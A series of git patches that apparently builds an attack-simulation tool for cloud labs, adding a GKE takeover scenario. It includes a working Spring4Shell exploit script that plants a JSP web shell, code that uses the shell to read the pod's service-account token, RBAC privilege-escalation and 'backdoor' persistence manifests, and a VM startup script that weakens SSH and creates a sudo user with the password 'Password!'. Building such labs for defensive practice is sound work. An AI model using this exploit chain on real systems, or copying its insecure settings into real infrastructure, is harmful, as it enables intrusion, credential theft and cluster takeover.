From bf143be2d640ac2844b4e2c80738c3bd18f097dc Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Wed, 19 Jun 2024 10:55:31 +0530 Subject: [PATCH 01/76] Scenario 3 --- core/gcp-scenario-1-output.json | 3 + core/main.py | 47 +--- main.tf | 234 ++++++++++++++++++ requirements.txt | 3 +- .../infra/Pulumi.gcp-scenario-1.yaml | 2 + scenarios/scenario_3/infra/Pulumi.yaml | 11 + scenarios/scenario_3/infra/__main__.py | 48 ++++ scenarios/scenario_3/infra/app/app.yml | 38 +++ scenarios/scenario_3/infra/app/exploit | 14 ++ scenarios/scenario_3/infra/app/sa-cb.yml | 13 + scenarios/scenario_3/infra/app/sa-cr.yml | 9 + scenarios/scenario_3/infra/app/service.yml | 16 ++ scenarios/scenario_3/scenario_3.py | 65 +++++ 13 files changed, 462 insertions(+), 41 deletions(-) create mode 100644 core/gcp-scenario-1-output.json create mode 100644 main.tf create mode 100644 scenarios/scenario_3/infra/Pulumi.gcp-scenario-1.yaml create mode 100644 scenarios/scenario_3/infra/Pulumi.yaml create mode 100644 scenarios/scenario_3/infra/__main__.py create mode 100644 scenarios/scenario_3/infra/app/app.yml create mode 100755 scenarios/scenario_3/infra/app/exploit create mode 100644 scenarios/scenario_3/infra/app/sa-cb.yml create mode 100644 scenarios/scenario_3/infra/app/sa-cr.yml create mode 100644 scenarios/scenario_3/infra/app/service.yml create mode 100644 scenarios/scenario_3/scenario_3.py diff --git a/core/gcp-scenario-1-output.json b/core/gcp-scenario-1-output.json new file mode 100644 index 0000000..2133149 --- /dev/null +++ b/core/gcp-scenario-1-output.json @@ -0,0 +1,3 @@ +{ + "cluster-name": "cluster-1" +} diff --git a/core/main.py b/core/main.py index cd0783f..4f65db0 100644 --- a/core/main.py +++ b/core/main.py @@ -11,6 +11,7 @@ from scenarios.scenario_1.scenario_1 import scenario_1_execute from scenarios.scenario_2.scenario_2 import scenario_2_execute from scenarios.scenario_2.scenario_2 import scenario_2_destroy +from scenarios.scenario_3.scenario_3 import scenario_3_execute def loading_animation(): chars = "/—\\|" @@ -20,45 +21,6 @@ def loading_animation(): time.sleep(0.1) - - - - print("-"*30) - print(colored("Executing Scenraio 1 : Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning ", color="red")) - generate_ssh_key() - loading_animation() - print("-"*30) - print(colored("Rolling out Infra", color="red")) - loading_animation() - print("-"*30) - subprocess.call("pwd", shell=True) - file_path = "./core/aws-scenario-1-output.json" - if os.path.exists(file_path): - os.remove(file_path) - print("File '{}' found and deleted.".format(file_path)) - else: - print("File '{}' not found.".format(file_path)) - subprocess.call("cd ./infra/scenario-1/ && pulumi up -s aws-scenario-1 -y", shell=True) - subprocess.call("cd ./infra/scenario-1/ && pulumi stack -s aws-scenario-1 output --json >> ../../core/aws-scenario-1-output.json", shell=True) - - print("-"*30) - print(colored("Bringing up the Vulnerable Application", color="red")) - loading_animation() - - # Use tqdm as a context manager to create the progress bar - sleep_duration = 300 - with tqdm(total=sleep_duration, desc="Loading") as pbar: - # Loop until sleep_duration is reached - while sleep_duration > 0: - # Sleep for a shorter interval to update the progress bar - sleep_interval = min(1, sleep_duration) - sleep(sleep_interval) - - # Update the progress bar with the elapsed time - pbar.update(sleep_interval) - sleep_duration -= sleep_interval - - def print_ascii_art(text): ascii_art = pyfiglet.figlet_format(text) print(colored(ascii_art, color="cyan")) @@ -81,10 +43,11 @@ def select_attack_scenario(cloud_provider): print(colored("Select Attack Scenario of %s:", color="yellow") % cloud_provider) print(colored("1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning", color="green")) print(colored("2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence", color="green")) + print(colored("3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster", color="green")) while True: try: choice = int(input(colored("Enter your choice: ", color="yellow"))) - if choice not in [1, 2]: + if choice not in [1, 2, 3]: raise ValueError(colored("Invalid choice. Please enter 1 or 2.", color="red")) return choice except ValueError as e: @@ -110,6 +73,8 @@ def execute_scenario(x): scenario_1_execute() elif x == 2: scenario_2_execute() + elif x == 3: + scenario_3_execute() else: print("Invalid Scenario Selected") print(colored("Scenario executed successfully!", color="green")) @@ -129,6 +94,8 @@ def main(cloud_provider, action, simulation, scenario): execute_scenario(1) elif scenario_choice == 2: execute_scenario(2) + elif scenario_choice == 3: + execute_scenario(3) #print(colored("Scenario coming soon!", color="yellow")) elif action == 'status' and scenario == "scenario-1": subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi stack ls", shell=True) diff --git a/main.tf b/main.tf new file mode 100644 index 0000000..c683896 --- /dev/null +++ b/main.tf @@ -0,0 +1,234 @@ +# Define variables +variable "project_id" { + description = "The ID of the GCP project" +} + +variable "credentials_path" { + description = "The path to the GCP service account credentials file" + default = "path/to/your/credentials.json" +} + +# Define provider +provider "google" { + # credentials = file(var.credentials_path) + project = var.project_id + region = "us-central1" +} + +provider "random" { +} + +# Create GCP Service Account +resource "google_service_account" "panw_service_account" { + account_id = "panw-service-account" + display_name = "Panw Service Account" +} + +# Define custom IAM role +resource "google_project_iam_custom_role" "panw_service_account_role" { + role_id = "panwServiceAccountRole" + title = "Panw Service Account Role" + description = "Custom IAM role for Panw Service Account" + permissions = [ + "iam.roles.get", + "iam.roles.list", + "iam.serviceAccounts.getIamPolicy", + "iam.serviceAccounts.list", + "iam.serviceAccountKeys.create", + "resourcemanager.projects.getIamPolicy" + ] +} + +resource "google_project_iam_binding" "panw-service-role" { + project = var.project_id + role = "projects/${var.project_id}/roles/panwServiceAccountRole" + members = [ + "serviceAccount:${google_service_account.panw_service_account.email}" + ] + } + + resource "google_project_iam_binding" "sa_impersonation" { + project = var.project_id + role = "roles/iam.serviceAccountTokenCreator" + + members = [ + "serviceAccount:${google_service_account.panw_service_account.email}" + ] +} + +# Create GCP VM +resource "google_compute_instance" "victim_vm" { + name = "victim-vm" + machine_type = "e2-medium" + zone = "us-central1-a" # Specify your desired zone + + boot_disk { + initialize_params { + image = "ubuntu-os-cloud/ubuntu-2004-lts" # Ubuntu 20.04 LTS image + size = "30" + type = "pd-balanced" + } + } + + network_interface { + network = "default" + access_config { + // Allow SSH access + nat_ip = google_compute_address.external_ip.address + } + } + + metadata_startup_script = <<-EOF + #!/bin/bash +sed 's/PasswordAuthentication no/PasswordAuthentication yes/' -i /etc/ssh/sshd_config +systemctl restart sshd +export labUbuntuUserName=labuser +export labUserPassword=Password! +useradd $labUbuntuUserName +echo -e "$labUserPassword\n$labUserPassword" | passwd $labUbuntuUserName +echo 'labuser ALL=(ALL:ALL) ALL' >> /etc/sudoers +mkdir /home/$labUbuntuUserName +chown -R $labUbuntuUserName:$labUbuntuUserName /home/$labUbuntuUserName +sudo usermod -s /bin/bash $labUbuntuUserName +#sudo apt update -y +sudo apt install python3-pip -y +sudo apt install python3-flask -y +# sudo apt install docker.io -y +#sudo chmod 666 /var/run/docker.sock +#apt install docker-compose -y +sudo apt install unzip -y +#sudo usermod -aG docker $labUbuntuUserName +wget -P /home/$labUbuntuUserName/ https://cloudlabsdemo99.s3.amazonaws.com/flask-rce.zip +cd /home/$labUbuntuUserName/ +unzip /home/$labUbuntuUserName/flask-rce.zip +pip3 install -r requirements.txt +flask run --host=0.0.0.0 +EOF + + # Attach the service account to the VM with specified roles and permissions + service_account { + email = google_service_account.panw_service_account.email + scopes = ["cloud-platform"] + } + + metadata = { + iam-service-account = google_project_iam_custom_role.panw_service_account_role.role_id + } +} + +# External IP for HTTP 5000 access +resource "google_compute_address" "external_ip" { + name = "external8933" +} + +# Create firewall rule to allow HTTP 5000 access +resource "google_compute_firewall" "allow_ssh" { + name = "allow-ssh" + network = "default" + + allow { + protocol = "tcp" + ports = ["5000"] + } + + source_ranges = ["0.0.0.0/0"] +} + + +resource "random_string" "unique_id" { + special = false + length = 5 + min_lower = 5 +} + +# Create GCP Storage Bucket +resource "google_storage_bucket" "victim_bucket-38383" { + name = "victim-bucket-${random_string.unique_id.result}" + location = "US" +} + +# Grant permissions to GCP VM service account to access the bucket +resource "google_storage_bucket_iam_binding" "grant_vm_access" { + bucket = google_storage_bucket.victim_bucket-38383.name + role = "roles/storage.objectAdmin" + + members = [ + "serviceAccount:${google_compute_instance.victim_vm.service_account[0].email}" + ] +} + +# Create another GCP Secret Service Account +resource "google_service_account" "secret_manager_service_account" { + account_id = "secret-manager-service-account" + display_name = "Secret Manager Service Account" +} + +# Define custom Secret IAM role +resource "google_project_iam_custom_role" "panw_secret_role" { + role_id = "panwSecretAccountRole" + title = "Panw Secret Account Role" + description = "Custom IAM role for Panw Secret Account" + permissions = [ + "resourcemanager.projects.getIamPolicy", + "resourcemanager.projects.get", + "secretmanager.locations.get", + "secretmanager.secrets.list", + "secretmanager.versions.access", + "secretmanager.versions.get", + "secretmanager.versions.list", + "secretmanager.secrets.get" + ] +} + +# Attach the secret manager admin role to the service account +resource "google_project_iam_binding" "panw-secret-role" { + project = var.project_id + role = "projects/${var.project_id}/roles/panwSecretAccountRole" + members = [ "serviceAccount:${google_service_account.secret_manager_service_account.email}" ] + } + +# Create secret in Secret Manager +resource "google_secret_manager_secret" "flag_secret" { + provider = google-beta + secret_id = "flag-secret" + + replication { + user_managed { + replicas { + location = "us-central1" + } + replicas { + location = "us-east1" + } + } + } +} + +resource "google_secret_manager_secret_version" "flag_secret_version" { + provider = google-beta + secret = google_secret_manager_secret.flag_secret.name + secret_data = "7d61f93d434686fde32aad0011b24c13acf65f64" +} + +resource "google_service_account_iam_binding" "token_creator_binding" { + service_account_id = google_service_account.secret_manager_service_account.name + role = "roles/iam.serviceAccountTokenCreator" + + members = [ + "serviceAccount:${google_service_account.panw_service_account.email}", + ] +} + +resource "google_service_account_iam_binding" "account_user_binding" { + service_account_id = google_service_account.secret_manager_service_account.name + role = "roles/iam.serviceAccountUser" + + members = [ + "serviceAccount:${google_service_account.panw_service_account.email}", + ] +} + +# Output the public IP address of the VM +output "vm_public_ip" { + value = google_compute_address.external_ip.address +} diff --git a/requirements.txt b/requirements.txt index ccf8e97..97e299d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -11,4 +11,5 @@ PyYAML==6.0.1 semver==2.13.0 six==1.16.0 termcolor==2.4.0 -tqdm==4.66.2 \ No newline at end of file +tqdm==4.66.2 +pulumi-gcp>=7.0.0,<8.0.0 \ No newline at end of file diff --git a/scenarios/scenario_3/infra/Pulumi.gcp-scenario-1.yaml b/scenarios/scenario_3/infra/Pulumi.gcp-scenario-1.yaml new file mode 100644 index 0000000..046f067 --- /dev/null +++ b/scenarios/scenario_3/infra/Pulumi.gcp-scenario-1.yaml @@ -0,0 +1,2 @@ +config: + gcp:project: clgcporg11-096 diff --git a/scenarios/scenario_3/infra/Pulumi.yaml b/scenarios/scenario_3/infra/Pulumi.yaml new file mode 100644 index 0000000..493ba2c --- /dev/null +++ b/scenarios/scenario_3/infra/Pulumi.yaml @@ -0,0 +1,11 @@ +name: infra +runtime: + name: python + options: + virtualenv: ../../../venv +description: A minimal AWS Python Pulumi program +config: + pulumi:tags: + value: + pulumi:template: "" + diff --git a/scenarios/scenario_3/infra/__main__.py b/scenarios/scenario_3/infra/__main__.py new file mode 100644 index 0000000..45dd09d --- /dev/null +++ b/scenarios/scenario_3/infra/__main__.py @@ -0,0 +1,48 @@ +import pulumi +import pulumi_gcp as gcp + +config = pulumi.Config() +NODE_COUNT = config.get_int('node_count') or 1 +NODE_MACHINE_TYPE = config.get('node_machine_type') or 'e2-medium' +MASTER_VERSION = config.get('master_version') + +# Defining the GKE Cluster +gke_cluster = gcp.container.Cluster('cluster-1', + name = "cluster-1", + location = "us-central1", + initial_node_count = NODE_COUNT, + remove_default_node_pool = True, + min_master_version = MASTER_VERSION, + deletion_protection = False +) + +gke_nodepool = gcp.container.NodePool("nodepool-1", + name = "nodepool-1", + location = "us-central1", + node_locations = ["us-central1-a"], + cluster = gke_cluster.id, + node_count = NODE_COUNT, + node_config = gcp.container.NodePoolNodeConfigArgs( + preemptible = False, + machine_type = NODE_MACHINE_TYPE, + disk_size_gb = 20, + oauth_scopes = ["https://www.googleapis.com/auth/cloud-platform"], + shielded_instance_config = gcp.container.NodePoolNodeConfigShieldedInstanceConfigArgs( + enable_integrity_monitoring = True, + enable_secure_boot = True + ) + ), + + autoscaling = gcp.container.NodePoolAutoscalingArgs( + min_node_count = 1, + max_node_count = 3 + ), + + management = gcp.container.NodePoolManagementArgs( + auto_repair = True, + auto_upgrade = True + ) +) + +pulumi.export("cluster-name", gke_cluster.name) + diff --git a/scenarios/scenario_3/infra/app/app.yml b/scenarios/scenario_3/infra/app/app.yml new file mode 100644 index 0000000..21a06e9 --- /dev/null +++ b/scenarios/scenario_3/infra/app/app.yml @@ -0,0 +1,38 @@ +--- +apiVersion: apps/v1 +kind: Deployment + + +### +### Deployment Metadata +### +metadata: + name: spring4shell-web + + +### +### Specs +### +spec: + replicas: 1 + + selector: + matchLabels: + app: spring4shell-web + tier: frontend + + template: + + # Template Metadata to be used by service for discovery + metadata: + labels: + app: spring4shell-web + tier: frontend + + # Container/Volume definition + spec: + containers: + - name: spring4shell-web + image: nugentec/springapp:latest + ports: + - containerPort: 8080 \ No newline at end of file diff --git a/scenarios/scenario_3/infra/app/exploit b/scenarios/scenario_3/infra/app/exploit new file mode 100755 index 0000000..ac2698f --- /dev/null +++ b/scenarios/scenario_3/infra/app/exploit @@ -0,0 +1,14 @@ +#read -p "Enter IP Address of vulnerable Application: " ip +echo "[+] Exploiting Spring4Shell vulnerability in server: http://$1/helloworld/greeting" +curl -H "prefix:<%" -H "suffix:%>//" -H "c:Runtime" -H "Content-Type: application/x-www-form-urlencoded" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://$1/helloworld/greeting +echo +echo + +echo "[SERVER][+] webapps/ROOT dir after exploit, should include shell.jsp" +# docker-compose exec app ls webapps/ROOT +# echo + +echo "[+] Shell is now accessible at: http://$1/shell.jsp?cmd=" +echo "[+] Waiting 10 seconds..." +sleep 10 + diff --git a/scenarios/scenario_3/infra/app/sa-cb.yml b/scenarios/scenario_3/infra/app/sa-cb.yml new file mode 100644 index 0000000..e738071 --- /dev/null +++ b/scenarios/scenario_3/infra/app/sa-cb.yml @@ -0,0 +1,13 @@ +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: bind-manage-cluster-roles +subjects: +- kind: ServiceAccount + name: default # Replace with your service account name + namespace: default # Replace with the namespace of your service account +roleRef: + kind: ClusterRole + name: manage-cluster-roles + apiGroup: rbac.authorization.k8s.io + diff --git a/scenarios/scenario_3/infra/app/sa-cr.yml b/scenarios/scenario_3/infra/app/sa-cr.yml new file mode 100644 index 0000000..5692584 --- /dev/null +++ b/scenarios/scenario_3/infra/app/sa-cr.yml @@ -0,0 +1,9 @@ +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: manage-cluster-roles +rules: +- apiGroups: ["rbac.authorization.k8s.io"] + resources: ["clusterroles", "clusterrolebindings"] + verbs: ["create", "get", "list", "update", "delete"] + diff --git a/scenarios/scenario_3/infra/app/service.yml b/scenarios/scenario_3/infra/app/service.yml new file mode 100644 index 0000000..14ea149 --- /dev/null +++ b/scenarios/scenario_3/infra/app/service.yml @@ -0,0 +1,16 @@ +--- +apiVersion: v1 +kind: Service +metadata: + name: spring4shell-web-service +spec: + selector: + app: spring4shell-web + tier: frontend + type: LoadBalancer + ports: + - protocol: TCP + # Port accessible inside cluster + port: 8081 + # Port to forward to inside the pod + targetPort: 8080 diff --git a/scenarios/scenario_3/scenario_3.py b/scenarios/scenario_3/scenario_3.py new file mode 100644 index 0000000..ff981c8 --- /dev/null +++ b/scenarios/scenario_3/scenario_3.py @@ -0,0 +1,65 @@ +import os +import pyfiglet +import time +import subprocess +import json +from tqdm import tqdm +from time import sleep +from termcolor import colored +from core.helpers import generate_ssh_key +from core.helpers import loading_animation +#from .report.report import gen_report_2 + +def scenario_3_execute(): + print("-"*30) + print(colored("Executing Scenraio 3 : Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster", color="red")) + + PROJECT_ID = os.getenv('PROJECT_ID') + + print(colored("Rolling out Infra", color="red")) + loading_animation() + print("-"*30) + + subprocess.call("cd scenarios/scenario_3/infra/ && pulumi config set gcp:project $PROJECT_ID", shell=True) + # file_path = "./core/gcp-scenario-1-output.json" + # if os.path.exists(file_path): + # os.remove(file_path) + # print("File '{}' found and deleted.".format(file_path)) + # else: + # print("File '{}' not found.".format(file_path)) + + # subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi up -s gcp-scenario-1 -y", shell=True) + # subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi stack -s gcp-scenario-1 output --json >> ../../../core/gcp-scenario-1-output.json", shell=True) + + with open("./core/gcp-scenario-1-output.json", "r") as file: + data = json.load(file) + + CLUSTER_NAME = data["cluster-name"] + + + print(colored("Authenticate to the cluster", color="red")) + loading_animation() + #subprocess.call("gcloud container clusters get-credentials "+CLUSTER_NAME+" --region us-central1 --project "+PROJECT_ID+"", shell=True) + + print(colored("Deploying Web App", color="red")) + loading_animation() + # subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/service.yml", shell=True) + # subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/app.yml", shell=True) + # sleep 60s for service to come up + api_server_ip = subprocess.check_output("kubectl cluster-info | grep 'Kubernetes control plane' | awk '{print $NF}'", shell=True).decode('utf-8').strip().rstrip('\n') + service_ip = subprocess.check_output("kubectl get svc spring4shell-web-service -o json | jq -r '.status.loadBalancer.ingress[0].ip'", shell=True).decode('utf-8').strip().rstrip('\n') + + print(colored("Found RCE in the Web Server, exploiting and creating Shell", color="red")) + loading_animation() + print("-"*30) + #subprocess.call("sh scenarios/scenario_3/infra/app/exploit "+service_ip+":8081", shell=True) + + pod_sa_token = subprocess.check_output("curl --silent --output - 'http://"+service_ip+":8081/shell.jsp?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/token' | head -n 1", shell=True).decode('utf-8').strip().rstrip('\n') + + print(colored("Found RCE in the Web Server, exploiting and creating Shell", color="red")) + loading_animation() + print("-"*30) + + + + From 1658aa2675d44aa22b50a6eb9a164811288f5975 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Wed, 19 Jun 2024 16:01:47 +0530 Subject: [PATCH 02/76] Scenario 3 --- core/gcp-scenario-1-output.json | 1 + scenarios/scenario_3/infra/__main__.py | 1 + scenarios/scenario_3/infra/app/backdoor.yml | 9 +++ scenarios/scenario_3/infra/app/sa-cb.yml | 8 +-- scenarios/scenario_3/infra/app/sa-cr.yml | 9 ++- scenarios/scenario_3/scenario_3.py | 64 +++++++++++++++------ 6 files changed, 68 insertions(+), 24 deletions(-) create mode 100644 scenarios/scenario_3/infra/app/backdoor.yml diff --git a/core/gcp-scenario-1-output.json b/core/gcp-scenario-1-output.json index 2133149..3415c24 100644 --- a/core/gcp-scenario-1-output.json +++ b/core/gcp-scenario-1-output.json @@ -1,3 +1,4 @@ { + "cluster-endpoint": "34.29.234.219", "cluster-name": "cluster-1" } diff --git a/scenarios/scenario_3/infra/__main__.py b/scenarios/scenario_3/infra/__main__.py index 45dd09d..8bf84cb 100644 --- a/scenarios/scenario_3/infra/__main__.py +++ b/scenarios/scenario_3/infra/__main__.py @@ -45,4 +45,5 @@ ) pulumi.export("cluster-name", gke_cluster.name) +pulumi.export("cluster-endpoint", gke_cluster.endpoint) diff --git a/scenarios/scenario_3/infra/app/backdoor.yml b/scenarios/scenario_3/infra/app/backdoor.yml new file mode 100644 index 0000000..9e0fe28 --- /dev/null +++ b/scenarios/scenario_3/infra/app/backdoor.yml @@ -0,0 +1,9 @@ +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: example-cluster-role +rules: + - apiGroups: [""] + resources: ["pods"] + verbs: ["get", "list"] + diff --git a/scenarios/scenario_3/infra/app/sa-cb.yml b/scenarios/scenario_3/infra/app/sa-cb.yml index e738071..c6909de 100644 --- a/scenarios/scenario_3/infra/app/sa-cb.yml +++ b/scenarios/scenario_3/infra/app/sa-cb.yml @@ -1,13 +1,13 @@ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: - name: bind-manage-cluster-roles + name: example-clusterrole-binding subjects: - kind: ServiceAccount - name: default # Replace with your service account name - namespace: default # Replace with the namespace of your service account + name: default + namespace: default roleRef: kind: ClusterRole - name: manage-cluster-roles + name: example-clusterrole apiGroup: rbac.authorization.k8s.io diff --git a/scenarios/scenario_3/infra/app/sa-cr.yml b/scenarios/scenario_3/infra/app/sa-cr.yml index 5692584..c704015 100644 --- a/scenarios/scenario_3/infra/app/sa-cr.yml +++ b/scenarios/scenario_3/infra/app/sa-cr.yml @@ -1,9 +1,12 @@ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: manage-cluster-roles + name: example-clusterrole rules: +- apiGroups: [""] + resources: ["pods"] + verbs: ["get", "list"] - apiGroups: ["rbac.authorization.k8s.io"] - resources: ["clusterroles", "clusterrolebindings"] - verbs: ["create", "get", "list", "update", "delete"] + resources: ["clusterroles", "rolebindings"] + verbs: ["create", "get", "list", "watch", "update", "patch", "delete"] diff --git a/scenarios/scenario_3/scenario_3.py b/scenarios/scenario_3/scenario_3.py index ff981c8..281db9f 100644 --- a/scenarios/scenario_3/scenario_3.py +++ b/scenarios/scenario_3/scenario_3.py @@ -21,45 +21,75 @@ def scenario_3_execute(): print("-"*30) subprocess.call("cd scenarios/scenario_3/infra/ && pulumi config set gcp:project $PROJECT_ID", shell=True) - # file_path = "./core/gcp-scenario-1-output.json" - # if os.path.exists(file_path): - # os.remove(file_path) - # print("File '{}' found and deleted.".format(file_path)) - # else: - # print("File '{}' not found.".format(file_path)) + file_path = "./core/gcp-scenario-1-output.json" + if os.path.exists(file_path): + os.remove(file_path) + print("File '{}' found and deleted.".format(file_path)) + else: + print("File '{}' not found.".format(file_path)) - # subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi up -s gcp-scenario-1 -y", shell=True) - # subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi stack -s gcp-scenario-1 output --json >> ../../../core/gcp-scenario-1-output.json", shell=True) + subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi up -s gcp-scenario-1 -y", shell=True) + subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi stack -s gcp-scenario-1 output --json >> ../../../core/gcp-scenario-1-output.json", shell=True) with open("./core/gcp-scenario-1-output.json", "r") as file: data = json.load(file) CLUSTER_NAME = data["cluster-name"] + CLUSTER_ENDPOINT = data["cluster-endpoint"] print(colored("Authenticate to the cluster", color="red")) loading_animation() - #subprocess.call("gcloud container clusters get-credentials "+CLUSTER_NAME+" --region us-central1 --project "+PROJECT_ID+"", shell=True) + subprocess.call("gcloud container clusters get-credentials "+CLUSTER_NAME+" --region us-central1 --project "+PROJECT_ID+"", shell=True) - print(colored("Deploying Web App", color="red")) + print(colored("Deploying Web App and service", color="red")) loading_animation() - # subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/service.yml", shell=True) - # subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/app.yml", shell=True) - # sleep 60s for service to come up - api_server_ip = subprocess.check_output("kubectl cluster-info | grep 'Kubernetes control plane' | awk '{print $NF}'", shell=True).decode('utf-8').strip().rstrip('\n') + subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/service.yml", shell=True) + subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/app.yml", shell=True) + + sleep_duration = 60 + with tqdm(total=sleep_duration, desc="Loading") as pbar: + while sleep_duration > 0: + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) + + pbar.update(sleep_interval) + sleep_duration -= sleep_interval + + service_ip = subprocess.check_output("kubectl get svc spring4shell-web-service -o json | jq -r '.status.loadBalancer.ingress[0].ip'", shell=True).decode('utf-8').strip().rstrip('\n') print(colored("Found RCE in the Web Server, exploiting and creating Shell", color="red")) loading_animation() print("-"*30) - #subprocess.call("sh scenarios/scenario_3/infra/app/exploit "+service_ip+":8081", shell=True) + subprocess.call("sh scenarios/scenario_3/infra/app/exploit "+service_ip+":8081", shell=True) + + + print(colored("Found PrivEsc using Pod Default Service Account, escalating privs", color="red")) + loading_animation() + print("-"*30) + subprocess.call("kubectl apply -f scenarios/scenario_3/infra/app/sa-cr.yml", shell=True) + subprocess.call("kubectl apply -f scenarios/scenario_3/infra/app/sa-cb.yml", shell=True) pod_sa_token = subprocess.check_output("curl --silent --output - 'http://"+service_ip+":8081/shell.jsp?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/token' | head -n 1", shell=True).decode('utf-8').strip().rstrip('\n') + pod_sa_token = pod_sa_token.replace('\x00', '') - print(colored("Found RCE in the Web Server, exploiting and creating Shell", color="red")) + print(colored("Creating a backdoor cluster role to persist", color="red")) loading_animation() print("-"*30) - + print(CLUSTER_ENDPOINT) + + subprocess.call(f"kubectl --server=https://{CLUSTER_ENDPOINT} --token={pod_sa_token} apply -f scenarios/scenario_3/infra/app/backdoor.yml", shell=True) + + + + + + + + + + From 21161b3d7d8364c17027355f7e5c18e5337d7177 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Wed, 19 Jun 2024 17:16:26 +0530 Subject: [PATCH 03/76] Update scen-3 destory --- cobra.py | 11 ++--------- core/main.py | 6 ++++++ 2 files changed, 8 insertions(+), 9 deletions(-) diff --git a/cobra.py b/cobra.py index 93c4bc4..c62bc8b 100644 --- a/cobra.py +++ b/cobra.py @@ -1,18 +1,12 @@ import argparse from core import main -import pyfiglet -from termcolor import colored - -def display_banner(): - ascii_art = pyfiglet.figlet_format("COBRA") - print(colored(ascii_art, color="cyan")) def parse_arguments(): parser = argparse.ArgumentParser(description="Terminal-based option tool") parser.add_argument("cloud_provider", choices=["aws", "azure", "gcp"], help="Cloud provider (aws, azure, gcp)") parser.add_argument("action", choices=["launch", "status", "destroy"], help="Action to perform (launch, status, destroy)") parser.add_argument("--simulation", action="store_true", help="Enable simulation mode") - parser.add_argument("--scenario", choices=["scenario-1", "scenario-2"], default="scenario-1", help="Scenario selection") + parser.add_argument("--scenario", choices=["scenario-1", "scenario-2", "scenario-3"], default="scenario-1", help="Scenario selection") return parser.parse_args() def main_function(cloud_provider, action, simulation, scenario): @@ -20,11 +14,10 @@ def main_function(cloud_provider, action, simulation, scenario): main.main(cloud_provider, action, simulation, scenario) if __name__ == "__main__": - display_banner() args = parse_arguments() # Convert argparse Namespace to dictionary options = vars(args) # Call the main function with options - main_function(**options) \ No newline at end of file + main_function(**options) diff --git a/core/main.py b/core/main.py index 9add35f..cca6bf4 100644 --- a/core/main.py +++ b/core/main.py @@ -82,6 +82,9 @@ def execute_scenario(x): print(colored("Error executing scenario:", color="red"), str(e)) def main(cloud_provider, action, simulation, scenario): + tool_name = "C N B A S" + print(scenario) + print_ascii_art(tool_name) if cloud_provider == 'aws': if action == 'launch': if simulation is True: @@ -102,8 +105,11 @@ def main(cloud_provider, action, simulation, scenario): subprocess.call("cd ./scenarios/scenario_1/infra && pulumi destroy", shell=True) elif action == 'destroy' and scenario == "scenario-2": scenario_2_destroy() + elif action == 'destroy' and scenario == "scenario-3": + subprocess.call("cd ./scenarios/scenario_3/infra && pulumi destroy", shell=True) else: print('No options provided. --help to know more') if __name__ == "__main__": main() + From eecc9448e79cd4d482352d457943573e7b7145e5 Mon Sep 17 00:00:00 2001 From: Harsha Koushik Date: Tue, 25 Jun 2024 13:58:31 +0530 Subject: [PATCH 04/76] Scenario 4 Updates --- cobra.py | 2 +- core/aws-scenario-3-output.json | 15 ++ core/main.py | 21 ++- scenarios/scenario_1/scenario_1.py | 4 - scenarios/scenario_2/scenario_2.py | 2 +- scenarios/scenario_4/infra/Pulumi.yaml | 12 ++ scenarios/scenario_4/infra/__main__.py | 189 +++++++++++++++++++++++++ scenarios/scenario_4/scenario_4.py | 59 ++++++++ 8 files changed, 292 insertions(+), 12 deletions(-) create mode 100644 core/aws-scenario-3-output.json create mode 100644 scenarios/scenario_4/infra/Pulumi.yaml create mode 100644 scenarios/scenario_4/infra/__main__.py create mode 100644 scenarios/scenario_4/scenario_4.py diff --git a/cobra.py b/cobra.py index c62bc8b..38f0590 100644 --- a/cobra.py +++ b/cobra.py @@ -6,7 +6,7 @@ def parse_arguments(): parser.add_argument("cloud_provider", choices=["aws", "azure", "gcp"], help="Cloud provider (aws, azure, gcp)") parser.add_argument("action", choices=["launch", "status", "destroy"], help="Action to perform (launch, status, destroy)") parser.add_argument("--simulation", action="store_true", help="Enable simulation mode") - parser.add_argument("--scenario", choices=["scenario-1", "scenario-2", "scenario-3"], default="scenario-1", help="Scenario selection") + parser.add_argument("--scenario", choices=["scenario-1", "scenario-2", "scenario-3", "scenario-4"], default="scenario-1", help="Scenario selection") return parser.parse_args() def main_function(cloud_provider, action, simulation, scenario): 